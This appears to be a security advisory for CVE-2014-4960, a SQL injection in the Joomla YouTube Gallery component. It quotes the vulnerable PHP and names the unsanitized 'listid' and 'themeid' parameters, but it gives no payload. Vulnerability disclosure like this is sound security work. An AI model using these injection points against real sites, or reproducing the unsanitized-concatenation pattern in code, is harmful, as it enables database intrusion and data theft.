# Exploit Author: Pham Van Khanh (phamvankhanhbka@gmail.com)
# Vendor Homepage: http://www.joomlaboat.com/youtube-gallery
# Software Link: http://www.joomlaboat.com/youtube-gallery
# Version: 4.x ( 3.x maybe)
# Tested on: newest version 4.1.7 on Joomla 1.5, 2.5, 3
# CVE : CVE-2014-4960
Detail:
In line: 40, file: components\com_youtubegallery\models\gallery.php,
if parameter listid is int (or can cast to int), $listid and $themeid
will not santinized.
Source code:
40: if(JRequest::getInt('listid'))
41: {
42: //Shadow Box
43: $listid=JRequest::getVar('listid');
44:
45:
46: //Get Theme
47: $m_themeid=(int)JRequest::getVar('mobilethemeid');
48: if($m_themeid!=0)
49: {
50: if(YouTubeGalleryMisc::check_user_agent('mobile'))
51: $themeid=$m_themeid;
52: else
53: $themeid=JRequest::getVar('themeid');
54: }
55: else
56: $themeid=JRequest::getVar('themeid');
57: }
After, $themeid and $listid are used in line 86, 92. Two method
getVideoListTableRow and getThemeTableRow concat string to construct
sql query. So it is vulnerable to SQL Injection.
Source code:
86: if(!$this->misc->getVideoListTableRow($listid))
87: {
88: echo '<p>No video found</p>';
89: return false;
90: }
91:
92: if(!$this->misc->getThemeTableRow($themeid))
93: {
94: echo '<p>No video found</p>';
95: return false;
96: }
